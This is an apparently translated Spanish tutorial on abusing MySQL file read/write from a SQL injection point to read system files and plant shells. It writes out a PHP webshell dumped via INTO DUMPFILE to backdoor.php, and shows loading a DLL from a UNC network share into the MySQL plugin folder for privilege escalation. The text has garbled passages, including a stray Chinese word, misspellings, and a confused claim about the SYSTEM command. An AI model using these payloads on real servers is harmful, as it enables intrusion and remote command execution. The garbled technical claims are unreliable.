- Requisitos previos para lectura/escritura de archivos
- Configuración en Windows
- Configuración en Linux
- Intentando sin permisos adecuados
- Verificando privilegios en un punto de inyección
- Lectura de archivos
- Escritura de archivos
- Condiciones para escribir shells funcionales
- Ventajas de utilizar MySQL para obtener acceso
- Comandos system + [comando shell]
- Demostración práctica
Los diferentes sistemas operativos y versiones de bases de datos presentan variaciones sutiles. Los siguientes ejemplos fueron ejecutados en Windows 10 y MySQL 5.7.26.
Los requisitos fundamentales son:
- El usuario de MySQL debe contar con privilegios de lectura sobre el archivo y de escritura en el directorio destino;
- El valor del atributo
secure_file_privdel usuario actual no debe ser NULL.
Configuración en Windows
Para modificar el comportamiento, es necesario editar el archivo mysql.ini y agregar la siguiente entrada bajo la sección [mysqld]:
[mysqld]
secure_file_priv=
# Un valor vacío permite lectura y escritura sin restricciones
# Este valor vacío es frecuentemente identificado como característica vulnerable en escaneos de seguridad
Después de guardar los cambios, se debe reiniciar el servicio de MySQL.
Los valores posibles de secure_file_priv son:
- null: Indica que no se permite ninguna operación de importación o exportación (valor predeterminado desde MySQL 5.7)
- ruta específica: Las operaciones de importación/exportación solo pueden realizarse en el directorio especificado
- sin valor: No existe ninguna restricción para las operaciones de archivos
Configuración en Linux
En sistemas Linux, la configuración se realiza en /etc/my.cnf bajo la sección [mysqld]:
[mysqld]
secure_file_priv=''
# Después de guardar, reiniciar el servicio
pkill mysqld
ps -ef | grep mysqld
# Verificar que el proceso haya terminado
./mysql_safe &
Intentando Sin Permisos Adecuados
En Windows:
USE database_segura;
CREATE TABLE datos_leidos(contenido TEXT);
INSERT INTO datos_leidos(contenido) VALUES (LOAD_FILE('C:/datos/prueba.txt'));
SELECT * FROM datos_leidos;
No se produce error aparente; simplemente se agrega una fila vacía por cada ejecución.
En Linux:
El resultado sería: ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
Verificando Privilegios en un Punto de Inyección
Para determinar si existe capacidad de lectura/escritura, ejecutar:
SHOW GLOBAL VARIABLES LIKE "secure_file_priv";
Lectura de Archivos
La capacidad de leer archivos del sistema representa una vulnerabilidad crítica que puede resultar en:
- Exposición de información sensible del sistema
- Divulgación de código fuente para análisis de seguridad
- Acceso a archivos en ubicaciones remotas
Preparar un archivo de prueba antes de continuar con las pruebas.
Función LOAD_FILE()
USE database_segura;
CREATE TABLE datos_leidos(contenido TEXT);
INSERT INTO datos_leidos(contenido) VALUES (LOAD_FILE('C:/datos/prueba.txt'));
SELECT * FROM datos_leidos;
Resultado exitoso: 1 fila afectada en 4 ms
La función LOAD_FILE() soporta rutas UNC para acceder a recursos de red. Por ejemplo, si un archivo DLL está disponible en un compartido de red, puede cargarse directamente:
SELECT LOAD_FILE('\\\\192.168.0.25\\recursos\\libreria_utilidad_64.dll')
INTO DUMPFILE 'C:\\MySQL\\mysql-5.7.21\\lib\\plugin\\extension_udf.dll';
Función LOAD DATA INFILE
LOAD DATA INFILE 'C:/datos/prueba.txt' INTO TABLE datos_leidos;
Escritura de Archivos
Las operaciones de escritura permiten copiar el resultado de una consulta SELECT a un archivo con permisos de escritura del propietario del proceso MySQL. La capacidad de escritura facilita la inserción de código malicioso, diferenciándose según el sistema operativo objetivo.
Sentencia INTO OUTFILE
Exportando Datos de Columnas Específicas
USE database_segura;
SELECT nombre, email FROM usuarios WHERE activo=1
INTO OUTFILE 'C:/resultados/exportacion.txt';
# El archivo destino no debe existir previamente
# ERROR: [HY000][1086] El archivo 'C:/resultados/exportacion.txt' ya existe
Escribiendo Shell Personalizado
SELECT "<?php system($_GET['cmd']); ?>" INTO DUMPFILE '/var/www/html/backdoor.php';
Sentencia INTO DUMPFILE
Ambos mecanismos permiten escribir datos, pero existen diferencias importantes.
Referencias: Documentación oficial de MySQL
Diferencias Fundamentales
- Cantidad de filas exportadas
- Manejo de caracteres de escape
- Soporte para archivos binarios
Comparación de Exportación de Filas
OUTFILE:
SELECT * FROM tabla_prueba INTO OUTFILE '/tmp/resultado.txt';
Permite especificar formato mediante parámetros:
- FIELDS ESCAPED BY: Caracteres de escape personalizados
- FIELDS [OPTIONALLY] ENCLOSED BY: Delimitadores de campo
- FIELDS TERMINATED BY: Separadores entre valores
Ejemplo: SELECT * FROM tabla_prueba INTO OUTFILE '/tmp/resultado.txt' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n'
DUMPFILE:
SELECT * FROM tabla_prueba INTO DUMPFILE '/tmp/resultado_binario.txt';
El resultado muestra datos sin saltos de línea entre registros y exporta únicamente un subconjunto de información.
Comparación de Escape de Caracteres
OUTFILE:
SELECT 'valor1\nvalor2\rvalor3' INTO OUTFILE '/tmp/prueba_outfile.txt';
OUTFILE aplica escape a caracteres especiales como \n y añade una línea adicional al final del archivo.
DUMPFILE:
SELECT 'valor1\nvalor2\rvalor3' INTO DUMPFILE '/tmp/prueba_dumpfile.txt';
DUMPFILE escribe el contenido exactamente como se proporciona, sin modificaciones ni adiciones. Esta característica lo hace ideal para escribir archivos DLL en técnicas de escalameinto de privilegios.
Manejo de Archivos Binarios
OUTFILE no acepta rutas en formato hexadecimal (0x) o convertidas con CHAR, solo admite rutas entre comillas simples. Esto representa una limitación significativa en contextos de inyección PHP donde las comillas simples frecuentemente son escapadas.
DUMPFILE acepta múltiples formatos de ruta: comillas simples, notación hexadecimal y caracteres convertidos mediante CHAR, utilizando barras diagonales (/) en lugar de barras invertidas (\).
Condiciones para Escribir Shells Funcionales
Para lograr un shell ejecutable con éxito, se requieren tres condiciones:
- Cumplir los tres requisitos previos mencionados anteriormente
- El archivo debe escribirse en un directorio executable (como la raíz web)
- La conexión a la base de datos debe ser accesible
Ventajas de Utilizar MySQL para Obtener Acceso
Expansión hacia Redes Internas
Las bases de datos típicamente residen en redes internas con conectividad hacia otros sistemas. Pueden funcionar como punto de pivote para movimientos laterales, aunque es importante considerar que usuarios con roles de DBA o administrador suelen monitorear continuamente estos servidores.
Escalamiento de Privilegios
Frecuentemente, el acceso inicial a un sistema proporciona privilegios limitados o匿名. Sin embargo, las credenciales obtenidas mediante inyección SQL ofrecen capabilities de usuario con permisos elevados. La inyección SQL representa una técnica válida para escalamiento de privilegios.
Comandos SYSTEM + [Comando Shell]
En versiones de MySQL 5.x, además de los métodos anteriores, es posible ejecutar comandos del sistema directamente, seimpre que el servidor opere en Linux.
# Lectura directa
SYSTEM cat /tmp/prueba.txt
# Escritura directa
SYSTEM vim /var/www/html/sitio/test.php
Consideraciones importantes:
- Este método únicamente funciona para conexiones locales; no opera en conexiones remotas a MySQL
- No es posible realizar operaciones que excedan los permisos del usuario actual
Demostración Práctica
<?php
$consulta_segura = "SELECT id, nombre FROM usuarios WHERE estado = 'activo'";
//$consulta_peligrosa = "SYSTEM date;";
$conexion = obtenerConexion();
$respuesta = $conexion->query($consulta_segura);
//$respuesta = $conexion->query($consulta_peligrosa);
imprimirResultado($respuesta);
?>
Al ejecutar este código PHP con conexión remota a MySQL, tanto $consulta_segura como $consulta_peligrosa fueron procesadas. Sin embargo, la consulta con SYSTEM no produjo resultados, confirmando que esta funcionalidad solo está disponible en instalaciones locales de MySQL en Linux.